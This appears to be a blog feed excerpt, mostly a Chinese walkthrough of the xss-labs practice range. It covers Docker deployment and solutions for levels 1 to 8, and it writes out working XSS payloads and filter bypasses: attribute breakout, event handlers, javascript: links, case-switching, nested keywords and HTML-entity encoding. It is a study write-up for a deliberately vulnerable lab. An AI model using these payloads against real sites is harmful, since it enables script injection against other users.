<figure class="post__image align-left"><img loading="lazy"  src="https://old.zeyun.org/media/posts/73/Ping-Mu-Jie-Tu-2026-07-15-064438.png" alt="" width="366" height="275" sizes="(min-width: 760px) 660px, calc(93.18vw - 30px)" srcset="https://old.zeyun.org/media/posts/73/responsive/Ping-Mu-Jie-Tu-2026-07-15-064438-xs.webp 320w ,https://old.zeyun.org/media/posts/73/responsive/Ping-Mu-Jie-Tu-2026-07-15-064438-sm.webp 480w ,https://old.zeyun.org/media/posts/73/responsive/Ping-Mu-Jie-Tu-2026-07-15-064438-md.webp 768w ,https://old.zeyun.org/media/posts/73/responsive/Ping-Mu-Jie-Tu-2026-07-15-064438-xl.webp 1024w"></figure>
<p>尝试聊天试试</p>
<figure class="post__image"><img loading="lazy"  src="https://old.zeyun.org/media/posts/73/Ping-Mu-Jie-Tu-2026-07-15-064719.png" alt="" width="364" height="407" sizes="(min-width: 760px) 660px, calc(93.18vw - 30px)" srcset="https://old.zeyun.org/media/posts/73/responsive/Ping-Mu-Jie-Tu-2026-07-15-064719-xs.webp 320w ,https://old.zeyun.org/media/posts/73/responsive/Ping-Mu-Jie-Tu-2026-07-15-064719-sm.webp 480w ,https://old.zeyun.org/media/posts/73/responsive/Ping-Mu-Jie-Tu-2026-07-15-064719-md.webp 768w ,https://old.zeyun.org/media/posts/73/responsive/Ping-Mu-Jie-Tu-2026-07-15-064719-xl.webp 1024w"></figure>
<p>成功🎉🎉🎉</p>
<p class="align-center">至此本教程结束，感谢您的观看，我们下一篇再见😎</p>
            ]]>
        </content>
    </entry>
    <entry>
        <title>XSS-Labs：从零开始的跨站脚本漏洞探究</title>
        <author>
            <name>云泽</name>
        </author>
        <link href="https://old.zeyun.org/xss-labs.html"/>
        <id>https://old.zeyun.org/xss-labs.html</id>
            <category term="网络安全学习笔记"/>
            <category term="Linux学习笔记"/>

        <updated>2026-05-17T23:01:18+09:00</updated>
            <summary>
                <![CDATA[
                    在搞定了之前的网络拓扑和虚拟化实验室之后，近期我把视线转向了 Web 前端安全领域。作为应用层安全中绕不开的大山，XSS（Cross-Site Scripting，跨站脚本攻击）一直是我想要深入系统学习的板块 为了不再纸上谈兵，我在本地的虚拟机环境里搭建了经典的&hellip;
                ]]>
            </summary>
        <content type="html">
            <![CDATA[
                <p data-path-to-node="22">在搞定了之前的网络拓扑和虚拟化实验室之后，近期我把视线转向了 Web 前端安全领域。作为应用层安全中绕不开的大山，XSS（Cross-Site Scripting，跨站脚本攻击）一直是我想要深入系统学习的板块</p>
<p data-path-to-node="23">为了不再纸上谈兵，我在本地的虚拟机环境里搭建了经典的 <code data-path-to-node="23" data-index-in-node="27">xss-labs</code> 漏洞靶场。XSS 的本质其实很简单，总结起来就是一句话：<strong data-path-to-node="23" data-index-in-node="64">“服务端未对用户输入进行严格过滤，导致恶意数据在前端被浏览器误当作代码执行”</strong></p>
<p data-path-to-node="23">这里我依旧使用<strong>虚拟机+docker</strong>的方式去部署靶场，具体流程简单概括如下：</p>
<p data-path-to-node="23">如果你不会部署基础的docker环境，那么请参考我的这篇博客：<a href="https://blog.csdn.net/zeyun4699/article/details/159887155" target="_blank" rel="noopener noreferrer">虚拟机+docker部署靶场</a></p>
<p data-path-to-node="23">（这里我用的镜像是下图的utrzhegu/xsslabs靶场）：</p>
<figure class="post__image"><img loading="lazy"  src="https://old.zeyun.org/media/posts/59/Ping-Mu-Jie-Tu-2026-05-17-223253.png" alt="" width="1853" height="997" sizes="(min-width: 760px) 660px, calc(93.18vw - 30px)" srcset="https://old.zeyun.org/media/posts/59/responsive/Ping-Mu-Jie-Tu-2026-05-17-223253-xs.webp 320w ,https://old.zeyun.org/media/posts/59/responsive/Ping-Mu-Jie-Tu-2026-05-17-223253-sm.webp 480w ,https://old.zeyun.org/media/posts/59/responsive/Ping-Mu-Jie-Tu-2026-05-17-223253-md.webp 768w ,https://old.zeyun.org/media/posts/59/responsive/Ping-Mu-Jie-Tu-2026-05-17-223253-xl.webp 1024w"></figure>
<p data-path-to-node="23">步骤一：拉取该镜像</p>
<pre class="language-bash line-numbers"><code>docker pull utrzhegu/xsslabs:0.1</code></pre>
<p data-path-to-node="23">步骤二：查看已经下载的镜像</p>
<pre class="language-bash line-numbers"><code>docker images</code></pre>
<figure class="post__image"><img loading="lazy"  src="https://old.zeyun.org/media/posts/59/Ping-Mu-Jie-Tu-2026-05-17-221041.png" alt="" width="1201" height="158" sizes="(min-width: 760px) 660px, calc(93.18vw - 30px)" srcset="https://old.zeyun.org/media/posts/59/responsive/Ping-Mu-Jie-Tu-2026-05-17-221041-xs.webp 320w ,https://old.zeyun.org/media/posts/59/responsive/Ping-Mu-Jie-Tu-2026-05-17-221041-sm.webp 480w ,https://old.zeyun.org/media/posts/59/responsive/Ping-Mu-Jie-Tu-2026-05-17-221041-md.webp 768w ,https://old.zeyun.org/media/posts/59/responsive/Ping-Mu-Jie-Tu-2026-05-17-221041-xl.webp 1024w"></figure>
<p data-path-to-node="23">步骤三：启动镜像，并重命名为xsslabs，将镜像映射在8088端口（这里你也可以根据你自己情况调整）</p>
<pre class="language-bash line-numbers"><code>docker run -d --name xsslabs -p 8088:80 utrzhegu/xsslabs:0.1</code></pre>
<p data-path-to-node="23">浏览器输入虚拟机的IP地址+端口号（发现成功访问靶场🎉）</p>
<figure class="post__image"><img loading="lazy"  src="https://old.zeyun.org/media/posts/59/Ping-Mu-Jie-Tu-2026-05-17-223947.png" alt="" width="2879" height="1611" sizes="(min-width: 760px) 660px, calc(93.18vw - 30px)" srcset="https://old.zeyun.org/media/posts/59/responsive/Ping-Mu-Jie-Tu-2026-05-17-223947-xs.webp 320w ,https://old.zeyun.org/media/posts/59/responsive/Ping-Mu-Jie-Tu-2026-05-17-223947-sm.webp 480w ,https://old.zeyun.org/media/posts/59/responsive/Ping-Mu-Jie-Tu-2026-05-17-223947-md.webp 768w ,https://old.zeyun.org/media/posts/59/responsive/Ping-Mu-Jie-Tu-2026-05-17-223947-xl.webp 1024w"></figure>
<p data-path-to-node="23">下次可以输入以下命令启动靶场</p>
<pre class="language-bash line-numbers"><code>docker start xsslabs</code></pre>
<p data-path-to-node="23">也可以像我一样，设置开机自启动</p>
<pre class="language-bash line-numbers"><code>docker update --restart=always xsslabs</code></pre>
<p data-path-to-node="23">成功部署完成之后，接下来我们开始解题</p>
<h4 data-path-to-node="23">第一关（level 1）</h4>
<figure class="post__image"><img loading="lazy"  src="https://old.zeyun.org/media/posts/59/level1.png" alt="" width="2874" height="1610" sizes="(min-width: 760px) 660px, calc(93.18vw - 30px)" srcset="https://old.zeyun.org/media/posts/59/responsive/level1-xs.webp 320w ,https://old.zeyun.org/media/posts/59/responsive/level1-sm.webp 480w ,https://old.zeyun.org/media/posts/59/responsive/level1-md.webp 768w ,https://old.zeyun.org/media/posts/59/responsive/level1-xl.webp 1024w"></figure>
<p data-path-to-node="23">漏洞分析：通过观察可以确认，程序将 URL 中的 <code data-path-to-node="29" data-index-in-node="28">name</code> 参数直接拼接进了 HTML 页面中，这意味着，只要我们构造一段合法的 HTML 标签或 JavaScript 脚本代替 <code data-path-to-node="29" data-index-in-node="144">test</code>，浏览器在解析 DOM 树时就会被“欺骗”，从而执行我们的恶意代码</p>
<p data-path-to-node="23">先尝试把<code>test</code>值改成<code>aaa</code>试试</p>
<p data-path-to-node="23">按下<code>F12</code>，打开开发者窗口，查看网页前端源码</p>
<figure class="post__image"><img loading="lazy"  src="https://old.zeyun.org/media/posts/59/level1-2.png" alt="" width="2879" height="1611" sizes="(min-width: 760px) 660px, calc(93.18vw - 30px)" srcset="https://old.zeyun.org/media/posts/59/responsive/level1-2-xs.webp 320w ,https://old.zeyun.org/media/posts/59/responsive/level1-2-sm.webp 480w ,https://old.zeyun.org/media/posts/59/responsive/level1-2-md.webp 768w ,https://old.zeyun.org/media/posts/59/responsive/level1-2-xl.webp 1024w"></figure>
<p data-path-to-node="23">这种位置是新手最容易理解的 XSS 场景，叫：<code>HTML 正文回显</code></p>
<p data-path-to-node="23">然后测试它会不会把 HTML 当成标签解析，我们输入&lt;h1&gt;aaa&lt;/h1&gt;</p>
<figure class="post__image"><img loading="lazy"  src="https://old.zeyun.org/media/posts/59/level1-3.png" alt="" width="2879" height="1612" sizes="(min-width: 760px) 660px, calc(93.18vw - 30px)" srcset="https://old.zeyun.org/media/posts/59/responsive/level1-3-xs.webp 320w ,https://old.zeyun.org/media/posts/59/responsive/level1-3-sm.webp 480w ,https://old.zeyun.org/media/posts/59/responsive/level1-3-md.webp 768w ,https://old.zeyun.org/media/posts/59/responsive/level1-3-xl.webp 1024w"></figure>
<p data-path-to-node="23">说明 &lt;h1&gt; 被浏览器当成 HTML 标签解析了，这很关键</p>
<p data-path-to-node="23">然后再尝试最基础的 XSS Payload</p>
<p data-path-to-node="23">第一关大概率没有过滤，所以可以直接在name后面试：</p>
<pre class="language-html line-numbers"><code>name=&lt;script&gt;alert(1)&lt;/script&gt;</code></pre>
<p data-path-to-node="23">发现页面成功弹窗，即为解题成功</p>
<figure class="post__image"><img loading="lazy"  src="https://old.zeyun.org/media/posts/59/Ping-Mu-Jie-Tu-2026-05-17-225851.png" alt="" width="1921" height="422" sizes="(min-width: 760px) 660px, calc(93.18vw - 30px)" srcset="https://old.zeyun.org/media/posts/59/responsive/Ping-Mu-Jie-Tu-2026-05-17-225851-xs.webp 320w ,https://old.zeyun.org/media/posts/59/responsive/Ping-Mu-Jie-Tu-2026-05-17-225851-sm.webp 480w ,https://old.zeyun.org/media/posts/59/responsive/Ping-Mu-Jie-Tu-2026-05-17-225851-md.webp 768w ,https://old.zeyun.org/media/posts/59/responsive/Ping-Mu-Jie-Tu-2026-05-17-225851-xl.webp 1024w"></figure>
<p data-path-to-node="23">漏洞原因：后端直接把用户传入的 name 参数输出到了 HTML 页面中，没有进行 HTML 实体转义，导致浏览器把用户输入解析成了可执行脚本<br><br>防御方式：输出到 HTML 页面之前，应当进行 HTML 实体编码，例如将：</p>
<pre class="language-markdown line-numbers"><code>&lt; 转义为 &amp;lt;
&gt; 转义为 &amp;gt;
" 转义为 &amp;quot;
' 转义为 &amp;#x27;</code></pre>
<p>这种防御方式我们会在第三关（level3）进行绕过</p>
<h4 data-path-to-node="23">第二关（level2）</h4>
<p data-path-to-node="23">我们进入第二关之后，继续沿用第一关的alert弹窗命令，查看有无效果</p>
<figure class="post__image"><img loading="lazy"  src="https://old.zeyun.org/media/posts/59/level2.png" alt="" width="2879" height="1616" sizes="(min-width: 760px) 660px, calc(93.18vw - 30px)" srcset="https://old.zeyun.org/media/posts/59/responsive/level2-xs.webp 320w ,https://old.zeyun.org/media/posts/59/responsive/level2-sm.webp 480w ,https://old.zeyun.org/media/posts/59/responsive/level2-md.webp 768w ,https://old.zeyun.org/media/posts/59/responsive/level2-xl.webp 1024w"></figure>
<p data-path-to-node="23">发现并没有出现弹窗，于是打开<code>F12</code>，查看网页源代码</p>
<figure class="post__image"><img loading="lazy"  src="https://old.zeyun.org/media/posts/59/level2-1.png" alt="" width="2877" height="1619" sizes="(min-width: 760px) 660px, calc(93.18vw - 30px)" srcset="https://old.zeyun.org/media/posts/59/responsive/level2-1-xs.webp 320w ,https://old.zeyun.org/media/posts/59/responsive/level2-1-sm.webp 480w ,https://old.zeyun.org/media/posts/59/responsive/level2-1-md.webp 768w ,https://old.zeyun.org/media/posts/59/responsive/level2-1-xl.webp 1024w"></figure>
<p data-path-to-node="23">这说明，我们输入的恶意代码不是单纯出现在页面正文里，而是出现在了一个 HTML 标签的属性里面</p>
<p data-path-to-node="23">我们这里的输入的 <code data-start="984" data-end="994">&lt;script&gt;</code> 被包在 <code data-start="999" data-end="1012">value="..."</code> 里面，也就是说，它只是输入框的内容，不一定会被浏览器当成真正的脚本标签执行</p>
<p data-path-to-node="23">所以第二关的核心思路是：</p>
<pre class="language-bash line-numbers"><code>先从 value="..." 里面逃出来
再插入真正的 HTML/JS 代码</code></pre>
<p data-path-to-node="23">我们需要先用一个双引号 <code data-start="1237" data-end="1240">"</code> 把前面的 <code data-start="1246" data-end="1255">value="</code> 结束掉</p>
<p data-path-to-node="23">例如输入：</p>
<pre class="language-bash line-numbers"><code>"&gt;</code></pre>
<p data-path-to-node="23">页面结构就可能变成：</p>
<pre class="language-html line-numbers"><code>&lt;input value=""&gt;</code></pre>
<p data-path-to-node="23">这样我们就从属性值里面出来了，然后再接一个脚本：</p>
<div class="relative w-full mt-4 mb-1">
<div class="">
<div class="relative" data-custom-highlighting-behavior="boundary">
<div class="h-full min-h-0 min-w-0">
<div class="h-full min-h-0 min-w-0">
<div class="border border-token-border-light border-radius-3xl corner-superellipse/1.1 rounded-3xl">
<div class="h-full w-full border-radius-3xl bg-token-bg-elevated-secondary corner-superellipse/1.1 overflow-clip rounded-3xl lxnfua_clipPathFallback">
<div class="pointer-events-none absolute inset-x-4 top-12 bottom-4">
<div class="pointer-events-none sticky z-40 shrink-0 z-1!">
<div class="sticky bg-token-border-light">
<pre class="language-html line-numbers"><code>"&gt;&lt;script&gt;alert(1)&lt;/script&gt;</code></pre>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
<p data-path-to-node="23">最终页面就变成了：</p>
<pre class="language-html line-numbers"><code>&lt;input value=""&gt;&lt;script&gt;alert(1)&lt;/script&gt;"&gt;</code></pre>
<p>最终在HTML里执行的源代码如下：</p>
<figure class="post__image"><img loading="lazy"  src="https://old.zeyun.org/media/posts/59/level2-2.png" alt="" width="2879" height="1607" sizes="(min-width: 760px) 660px, calc(93.18vw - 30px)" srcset="https://old.zeyun.org/media/posts/59/responsive/level2-2-xs.webp 320w ,https://old.zeyun.org/media/posts/59/responsive/level2-2-sm.webp 480w ,https://old.zeyun.org/media/posts/59/responsive/level2-2-md.webp 768w ,https://old.zeyun.org/media/posts/59/responsive/level2-2-xl.webp 1024w"></figure>
<p data-path-to-node="23">所以我们在搜索框输入：</p>
<figure class="post__image"><img loading="lazy"  src="https://old.zeyun.org/media/posts/59/Ping-Mu-Jie-Tu-2026-05-17-232632.png" alt="" width="2879" height="1611" sizes="(min-width: 760px) 660px, calc(93.18vw - 30px)" srcset="https://old.zeyun.org/media/posts/59/responsive/Ping-Mu-Jie-Tu-2026-05-17-232632-xs.webp 320w ,https://old.zeyun.org/media/posts/59/responsive/Ping-Mu-Jie-Tu-2026-05-17-232632-sm.webp 480w ,https://old.zeyun.org/media/posts/59/responsive/Ping-Mu-Jie-Tu-2026-05-17-232632-md.webp 768w ,https://old.zeyun.org/media/posts/59/responsive/Ping-Mu-Jie-Tu-2026-05-17-232632-xl.webp 1024w"></figure>
<p data-path-to-node="23">即可触发弹窗</p>
<figure class="post__image"><img loading="lazy"  src="https://old.zeyun.org/media/posts/59/Ping-Mu-Jie-Tu-2026-05-17-232749.png" alt="" width="1907" height="408" sizes="(min-width: 760px) 660px, calc(93.18vw - 30px)" srcset="https://old.zeyun.org/media/posts/59/responsive/Ping-Mu-Jie-Tu-2026-05-17-232749-xs.webp 320w ,https://old.zeyun.org/media/posts/59/responsive/Ping-Mu-Jie-Tu-2026-05-17-232749-sm.webp 480w ,https://old.zeyun.org/media/posts/59/responsive/Ping-Mu-Jie-Tu-2026-05-17-232749-md.webp 768w ,https://old.zeyun.org/media/posts/59/responsive/Ping-Mu-Jie-Tu-2026-05-17-232749-xl.webp 1024w"></figure>
<h4 data-path-to-node="23">第三关（level3）</h4>
<p>继续尝试沿用第二关的闭合思路，输入<code>"&gt;&lt;script&gt;alert(1)&lt;/script&gt;</code>，发现这一关行不通，按下<code>Ctrl+U</code>，查看实际的网页源码</p>
<figure class="post__image"><img loading="lazy"  src="https://old.zeyun.org/media/posts/59/level3-2.png" alt="" width="1992" height="827" sizes="(min-width: 760px) 660px, calc(93.18vw - 30px)" srcset="https://old.zeyun.org/media/posts/59/responsive/level3-2-xs.webp 320w ,https://old.zeyun.org/media/posts/59/responsive/level3-2-sm.webp 480w ,https://old.zeyun.org/media/posts/59/responsive/level3-2-md.webp 768w ,https://old.zeyun.org/media/posts/59/responsive/level3-2-xl.webp 1024w"></figure>
<p>浏览器看到：</p>
<pre class="language-html line-numbers"><code>&amp;lt;script&amp;gt;alert(1)&amp;lt;/script&amp;gt;</code></pre>
<p>不会把它当成真正的 <code data-start="577" data-end="587">&lt;script&gt;</code> 标签，而是把它当成普通文字显示出来</p>
<p data-start="946" data-end="965">并且它过滤了 <code data-start="953" data-end="956">&lt;</code>、<code data-start="957" data-end="960">&gt;</code>、<code data-start="961" data-end="964">"</code></p>
<p data-start="967" data-end="991">所以我们不能继续用 <code data-start="976" data-end="986">&lt;script&gt;</code> 标签了</p>
<p>这一关的新思路是：</p>
<pre class="language-bash line-numbers"><code>既然不能新建 &lt;script&gt; 标签
那就利用已有的 input 标签，给它添加一个事件属性
比如：
onclick="alert(1)"</code></pre>
<p>意思是：当用户点击这个<code> input </code>输入框时，执行 <code>alert(1)</code></p>
<p>得知了这个原理，那我们尝试下面这个 payload（这里有一个细节，需要注意上图的源码，这里是单引号闭合的，所以这里也需要输入单引号）</p>
<pre class="language-html line-numbers"><code>' onclick='alert(1)</code></pre>
<p>我们输入后，服务器会拼接变成：</p>
<pre class="language-haml line-numbers"><code>&lt;input name="keyword" value='' onclick='alert(1)'&gt;</code></pre>
<p>将这个<code>onclick</code>的想法输入到搜索框，点击后即可弹窗</p>
<figure class="post__image"><img loading="lazy"  src="https://old.zeyun.org/media/posts/59/Ping-Mu-Jie-Tu-2026-05-17-235926.png" alt="" width="2051" height="457" sizes="(min-width: 760px) 660px, calc(93.18vw - 30px)" srcset="https://old.zeyun.org/media/posts/59/responsive/Ping-Mu-Jie-Tu-2026-05-17-235926-xs.webp 320w ,https://old.zeyun.org/media/posts/59/responsive/Ping-Mu-Jie-Tu-2026-05-17-235926-sm.webp 480w ,https://old.zeyun.org/media/posts/59/responsive/Ping-Mu-Jie-Tu-2026-05-17-235926-md.webp 768w ,https://old.zeyun.org/media/posts/59/responsive/Ping-Mu-Jie-Tu-2026-05-17-235926-xl.webp 1024w"></figure>
<p>Tips：提交后，<strong data-start="2856" data-end="2869">记得点击输入框触发</strong></p>
<h4 data-path-to-node="23">第四关（level4）</h4>
<p>我们继续沿用之前第二关（level2）的想法，发现输入<code>"&gt;&lt;script&gt;alert(1)&lt;/script&gt;</code>之后并没有成功，这说明本关过滤了尖括号，因此不能通过新建 &lt;script&gt; 标签执行 JavaScript</p>
<p>依旧Ctrl+U查看源码，发现以下几点</p>
<figure class="post__image"><img loading="lazy"  src="https://old.zeyun.org/media/posts/59/level4.png" alt="" width="2208" height="867" sizes="(min-width: 760px) 660px, calc(93.18vw - 30px)" srcset="https://old.zeyun.org/media/posts/59/responsive/level4-xs.webp 320w ,https://old.zeyun.org/media/posts/59/responsive/level4-sm.webp 480w ,https://old.zeyun.org/media/posts/59/responsive/level4-md.webp 768w ,https://old.zeyun.org/media/posts/59/responsive/level4-xl.webp 1024w"></figure>
<p>但是，我们发现<code>"</code>没有被删掉，而这就是第四关（level4）的突破口</p>
<p>我们可以尝试将第三关（level3）的这个 Payload 进行加工（将单引号变成双引号）</p>
<pre class="language-bash line-numbers"><code>" onclick="alert(1)</code></pre>
<p>提交后，源代码会变成：</p>
<pre class="language-html line-numbers"><code>&lt;input name=keyword value="" onclick="alert(1)"&gt;</code></pre>
<p>此时 onclick 成为 input 标签的事件属性，点击输入框即可触发 JavaScript，完成 XSS</p>
<h4>第五关（level5）</h4>
<p>初步尝试沿用第二和第三关的想法，发现行不通（原因如下图的文字说明）</p>
<figure class="post__image"><img loading="lazy"  src="https://old.zeyun.org/media/posts/59/level5.png" alt="" width="2866" height="846" sizes="(min-width: 760px) 660px, calc(93.18vw - 30px)" srcset="https://old.zeyun.org/media/posts/59/responsive/level5-xs.webp 320w ,https://old.zeyun.org/media/posts/59/responsive/level5-sm.webp 480w ,https://old.zeyun.org/media/posts/59/responsive/level5-md.webp 768w ,https://old.zeyun.org/media/posts/59/responsive/level5-xl.webp 1024w"></figure>
<p>那我们换一种方式，用 <code data-start="1192" data-end="1205">javascript:</code> 链接</p>
<pre class="language-html line-numbers"><code>&lt;a href="javascript:alert(1)"&gt;点我&lt;/a&gt;</code></pre>
<p>思路很简单，创建一个超链接，当点击这个链接时，执行 javascript: 后面的代码</p>
<p>所以 Payload 可以写成：</p>
<pre class="language-html line-numbers"><code>"&gt;&lt;a href="javascript:alert(1)"&gt;点我&lt;/a&gt;</code></pre>
<p>为什么这个 Payload 可以绕过？</p>
<p>原始结构是：</p>
<pre class="language-html line-numbers"><code>&lt;input name=keyword value="你的输入"&gt;</code></pre>
<p>我们加上制作的超链接之后，代码拼接后变成：</p>
<pre class="language-html line-numbers"><code>&lt;input name=keyword value=""&gt;
&lt;a href=javascript:alert(1)&gt;点我&lt;/a&gt;
"&gt;</code></pre>
<p>拆开看是这样的：</p>
<pre class="language-markdown line-numbers"><code>" 
关闭 value 属性

&gt;
关闭 input 标签

&lt;a href=javascript:alert(1)&gt;点我&lt;/a&gt;
创建一个超链接，点击后执行 JavaScript</code></pre>
<p data-start="1514" data-end="1558">提交之后页面上会出现一个“点我”的链接<br data-start="1534" data-end="1537">你需要<strong data-start="1540" data-end="1550">点击这个链接</strong>，才会触发弹窗</p>
<figure class="post__image"><img loading="lazy"  src="https://old.zeyun.org/media/posts/59/level5-1.png" alt="" width="2879" height="1609" sizes="(min-width: 760px) 660px, calc(93.18vw - 30px)" srcset="https://old.zeyun.org/media/posts/59/responsive/level5-1-xs.webp 320w ,https://old.zeyun.org/media/posts/59/responsive/level5-1-sm.webp 480w ,https://old.zeyun.org/media/posts/59/responsive/level5-1-md.webp 768w ,https://old.zeyun.org/media/posts/59/responsive/level5-1-xl.webp 1024w"></figure>
<p>点击后，即可成功跳转</p>
<figure class="post__image"><img loading="lazy"  src="https://old.zeyun.org/media/posts/59/Ping-Mu-Jie-Tu-2026-05-18-003634.png" alt="" width="1921" height="419" sizes="(min-width: 760px) 660px, calc(93.18vw - 30px)" srcset="https://old.zeyun.org/media/posts/59/responsive/Ping-Mu-Jie-Tu-2026-05-18-003634-xs.webp 320w ,https://old.zeyun.org/media/posts/59/responsive/Ping-Mu-Jie-Tu-2026-05-18-003634-sm.webp 480w ,https://old.zeyun.org/media/posts/59/responsive/Ping-Mu-Jie-Tu-2026-05-18-003634-md.webp 768w ,https://old.zeyun.org/media/posts/59/responsive/Ping-Mu-Jie-Tu-2026-05-18-003634-xl.webp 1024w"></figure>
<h4>第六关（level6）</h4>
<p>尝试使用第五关的思维，我们输入<code>"&gt;&lt;a href=javascript:alert(1)&gt;点我&lt;/a&gt;</code>，但是Ctrl+U查看源码后，却发现它返回的结果确是<code>"&gt;&lt;a hr_ef=javascript:alert(1)&gt;点我&lt;/a&gt;</code></p>
<figure class="post__image"><img loading="lazy"  src="https://old.zeyun.org/media/posts/59/Ping-Mu-Jie-Tu-2026-05-18-004137.png" alt="" width="2024" height="881" sizes="(min-width: 760px) 660px, calc(93.18vw - 30px)" srcset="https://old.zeyun.org/media/posts/59/responsive/Ping-Mu-Jie-Tu-2026-05-18-004137-xs.webp 320w ,https://old.zeyun.org/media/posts/59/responsive/Ping-Mu-Jie-Tu-2026-05-18-004137-sm.webp 480w ,https://old.zeyun.org/media/posts/59/responsive/Ping-Mu-Jie-Tu-2026-05-18-004137-md.webp 768w ,https://old.zeyun.org/media/posts/59/responsive/Ping-Mu-Jie-Tu-2026-05-18-004137-xl.webp 1024w"></figure>
<p>从源码的这张图可以判断出（也就是它在过滤关键词 <code data-start="280" data-end="286">href</code>）：</p>
<pre class="language-markdown line-numbers"><code>&lt; 没有被删
&gt; 没有被删
a 标签没有被删
javascript: 没有被删
alert(1) 没有被删
href 被改成了 hr_ef</code></pre>
<p>结合这些，我们发现既然它过滤的是小写的，它会不会只过滤小写 href？</p>
<p>所以我们把<code>"&gt;&lt;a href=javascript:alert(1)&gt;点我&lt;/a&gt;</code>的小写<code>href</code>替换成全大写的<code>HREF</code>，再带入试试</p>
<pre class="language-html line-numbers"><code>"&gt;&lt;a HREF=javascript:alert(1)&gt;点我&lt;/a&gt;</code></pre>
<p>惊奇的发现居然出现了我们制作的超链接</p>
<figure class="post__image"><img loading="lazy"  src="https://old.zeyun.org/media/posts/59/level6.png" alt="" width="2879" height="1616" sizes="(min-width: 760px) 660px, calc(93.18vw - 30px)" srcset="https://old.zeyun.org/media/posts/59/responsive/level6-xs.webp 320w ,https://old.zeyun.org/media/posts/59/responsive/level6-sm.webp 480w ,https://old.zeyun.org/media/posts/59/responsive/level6-md.webp 768w ,https://old.zeyun.org/media/posts/59/responsive/level6-xl.webp 1024w"></figure>
<p>点击超链接之后，即可成功弹窗</p>
<figure class="post__image"><img loading="lazy"  src="https://old.zeyun.org/media/posts/59/Ping-Mu-Jie-Tu-2026-05-18-005208.png" alt="" width="1929" height="821" sizes="(min-width: 760px) 660px, calc(93.18vw - 30px)" srcset="https://old.zeyun.org/media/posts/59/responsive/Ping-Mu-Jie-Tu-2026-05-18-005208-xs.webp 320w ,https://old.zeyun.org/media/posts/59/responsive/Ping-Mu-Jie-Tu-2026-05-18-005208-sm.webp 480w ,https://old.zeyun.org/media/posts/59/responsive/Ping-Mu-Jie-Tu-2026-05-18-005208-md.webp 768w ,https://old.zeyun.org/media/posts/59/responsive/Ping-Mu-Jie-Tu-2026-05-18-005208-xl.webp 1024w"></figure>
<h4>第七关（level7）</h4>
<p>我们尝试重复使用第六关的步骤，发现并没有弹出链接，所以我们<code>Crtl+U</code>，查看源码后发现图片里的情况</p>
<figure class="post__image"><img loading="lazy"  src="https://old.zeyun.org/media/posts/59/level7.png" alt="" width="2086" height="823" sizes="(min-width: 760px) 660px, calc(93.18vw - 30px)" srcset="https://old.zeyun.org/media/posts/59/responsive/level7-xs.webp 320w ,https://old.zeyun.org/media/posts/59/responsive/level7-sm.webp 480w ,https://old.zeyun.org/media/posts/59/responsive/level7-md.webp 768w ,https://old.zeyun.org/media/posts/59/responsive/level7-xl.webp 1024w"></figure>
<p>也就是说，它看到危险关键词就直接删除</p>
<p>既然它会删除：<code>href</code>，<code>script</code>等关键词，那么我尝试双写试试</p>
<p>那我们可以故意把关键词“套娃”写进去，让它删掉中间那一段以后，剩下的刚好又拼成正确关键词</p>
<p>输入以下内容：</p>
<pre class="language-html line-numbers"><code>"&gt;&lt;a hrhrefef="javascrscriptipt:alert(1)"&gt;点我&lt;/a&gt;</code></pre>
<p>输入完成之后，发现出现了我们熟悉的超链接，点击后即可顺利进入下一关</p>
<figure class="post__image"><img loading="lazy"  src="https://old.zeyun.org/media/posts/59/Ping-Mu-Jie-Tu-2026-05-18-213055.png" alt="" width="1927" height="536" sizes="(min-width: 760px) 660px, calc(93.18vw - 30px)" srcset="https://old.zeyun.org/media/posts/59/responsive/Ping-Mu-Jie-Tu-2026-05-18-213055-xs.webp 320w ,https://old.zeyun.org/media/posts/59/responsive/Ping-Mu-Jie-Tu-2026-05-18-213055-sm.webp 480w ,https://old.zeyun.org/media/posts/59/responsive/Ping-Mu-Jie-Tu-2026-05-18-213055-md.webp 768w ,https://old.zeyun.org/media/posts/59/responsive/Ping-Mu-Jie-Tu-2026-05-18-213055-xl.webp 1024w"></figure>
<h4>第八关（level8）</h4>
<p>我们看到这里有一个搜索框，那么第一时间想到的肯定是输入<code>javascript:alert(1)</code>看看结果怎么样，点击“添加友情链接”后，发现跳转到了一个错误的URL</p>
<figure class="post__image"><img loading="lazy"  src="https://old.zeyun.org/media/posts/59/level8.png" alt="" width="2297" height="807" sizes="(min-width: 760px) 660px, calc(93.18vw - 30px)" srcset="https://old.zeyun.org/media/posts/59/responsive/level8-xs.webp 320w ,https://old.zeyun.org/media/posts/59/responsive/level8-sm.webp 480w ,https://old.zeyun.org/media/posts/59/responsive/level8-md.webp 768w ,https://old.zeyun.org/media/posts/59/responsive/level8-xl.webp 1024w"></figure>
<p>查看源码后发现，出现了关键词过滤改写，而且这里是不需要再闭合<code> input </code>标签，也不需要重新插入一个<code> a </code>标签，而是应该直接控制<code> href </code>的值，所以我们尝试使用特殊值，看看能不能绕过</p>
<p>在 HTML 里，浏览器会解析 HTML 实体编码，那尝将期中一个字母转成HTML编码再带入试试（这里我是用的是burp suite自带的转码工具进行转码）</p>
<figure class="post__image"><img loading="lazy"  src="https://old.zeyun.org/media/posts/59/Ping-Mu-Jie-Tu-2026-05-18-221354.png" alt="" width="1636" height="810" sizes="(min-width: 760px) 660px, calc(93.18vw - 30px)" srcset="https://old.zeyun.org/media/posts/59/responsive/Ping-Mu-Jie-Tu-2026-05-18-221354-xs.webp 320w ,https://old.zeyun.org/media/posts/59/responsive/Ping-Mu-Jie-Tu-2026-05-18-221354-sm.webp 480w ,https://old.zeyun.org/media/posts/59/responsive/Ping-Mu-Jie-Tu-2026-05-18-221354-md.webp 768w ,https://old.zeyun.org/media/posts/59/responsive/Ping-Mu-Jie-Tu-2026-05-18-221354-xl.webp 1024w"></figure>
<p>将这个字母<code>s</code>转码后的结果（&amp;#x73;）带入到我们之前尝试的语句中可得</p>
<pre class="language-html line-numbers"><code>java&amp;#x73;cript:alert(1)</code></pre>
<p>再次点击“友情链接”，即可得到正确结果，进入下一关</p>
